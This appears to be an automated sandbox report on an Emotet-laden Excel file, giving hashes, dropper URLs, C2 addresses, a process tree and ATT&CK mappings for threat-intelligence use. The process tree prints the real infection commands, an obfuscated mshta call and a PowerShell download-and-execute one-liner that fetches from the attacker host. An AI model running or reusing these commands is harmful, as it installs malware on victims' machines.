Analysis

  • max time kernel
    118s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 00:36

General

  • Target

    E-2801.xls

  • Size

    35KB

  • MD5

    904a7d4a0a260ac73c3862abea0f4da2

  • SHA1

    55079f76a736a9daf2728976ad00ca3a2e5b9fd2

  • SHA256

    f765a633173e55b59f5260b324d16919915b094ea7157d9a4d0a60c13b0e61fb

  • SHA512

    de49ec26dc89ec2cfd9b85e426f100bdb111c73e07aec46e9d3b6fa8b7939e3be491bd25bc9adb8703698e5104c28e89060d25a085103f43600c8cabe08b4899

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\E-2801.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3196
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2860 -s 1652
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1176
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1108
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1380
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1652
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2928
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zvgggnguatvpxmqz\bkci.hoe",tsVid
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1152
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zvgggnguatvpxmqz\bkci.hoe",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2748

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    c820e9bdc1b99b9b764824b528499d4b

    SHA1

    735558ce09e53b46aefaa01766143e2d3701291e

    SHA256

    a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

    SHA512

    3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

  • \ProgramData\QWER.dll
    MD5

    c820e9bdc1b99b9b764824b528499d4b

    SHA1

    735558ce09e53b46aefaa01766143e2d3701291e

    SHA256

    a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

    SHA512

    3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

  • \ProgramData\QWER.dll
    MD5

    c820e9bdc1b99b9b764824b528499d4b

    SHA1

    735558ce09e53b46aefaa01766143e2d3701291e

    SHA256

    a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

    SHA512

    3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

  • memory/1108-415-0x000001804B720000-0x00000180639E0000-memory.dmp
    Filesize

    386.8MB

  • memory/1108-559-0x000001804B720000-0x00000180639E0000-memory.dmp
    Filesize

    386.8MB

  • memory/1108-501-0x000001804B720000-0x00000180639E0000-memory.dmp
    Filesize

    386.8MB

  • memory/1108-281-0x000001804B370000-0x000001804B392000-memory.dmp
    Filesize

    136KB

  • memory/1108-335-0x0000018063970000-0x00000180639AC000-memory.dmp
    Filesize

    240KB

  • memory/1108-367-0x0000018064010000-0x0000018064086000-memory.dmp
    Filesize

    472KB

  • memory/1152-637-0x0000000000D10000-0x0000000000D37000-memory.dmp
    Filesize

    156KB

  • memory/1652-611-0x0000000002F60000-0x0000000002F87000-memory.dmp
    Filesize

    156KB

  • memory/2064-129-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp
    Filesize

    64KB

  • memory/2064-128-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp
    Filesize

    64KB

  • memory/2064-119-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-117-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-116-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-687-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-686-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-685-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-684-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2064-115-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp
    Filesize

    64KB

  • memory/2748-645-0x0000000004C30000-0x0000000004C57000-memory.dmp
    Filesize

    156KB

  • memory/2748-649-0x0000000004DF0000-0x0000000004E17000-memory.dmp
    Filesize

    156KB

  • memory/2748-657-0x0000000005210000-0x0000000005237000-memory.dmp
    Filesize

    156KB

  • memory/2748-640-0x0000000000DE0000-0x0000000000E07000-memory.dmp
    Filesize

    156KB

  • memory/2748-643-0x0000000004B50000-0x0000000004B77000-memory.dmp
    Filesize

    156KB

  • memory/2748-655-0x0000000005190000-0x00000000051B7000-memory.dmp
    Filesize

    156KB

  • memory/2748-647-0x0000000004D10000-0x0000000004D37000-memory.dmp
    Filesize

    156KB

  • memory/2748-653-0x0000000004FB0000-0x0000000004FD7000-memory.dmp
    Filesize

    156KB

  • memory/2748-651-0x0000000004ED0000-0x0000000004EF7000-memory.dmp
    Filesize

    156KB

  • memory/2928-626-0x0000000004FC0000-0x0000000004FE7000-memory.dmp
    Filesize

    156KB

  • memory/2928-624-0x0000000004F60000-0x0000000004F87000-memory.dmp
    Filesize

    156KB

  • memory/2928-639-0x0000000005150000-0x0000000005177000-memory.dmp
    Filesize

    156KB

  • memory/2928-622-0x0000000004F00000-0x0000000004F27000-memory.dmp
    Filesize

    156KB

  • memory/2928-620-0x0000000004DA0000-0x0000000004DC7000-memory.dmp
    Filesize

    156KB

  • memory/2928-618-0x0000000004CC0000-0x0000000004CE7000-memory.dmp
    Filesize

    156KB

  • memory/2928-615-0x00000000047B0000-0x00000000047D7000-memory.dmp
    Filesize

    156KB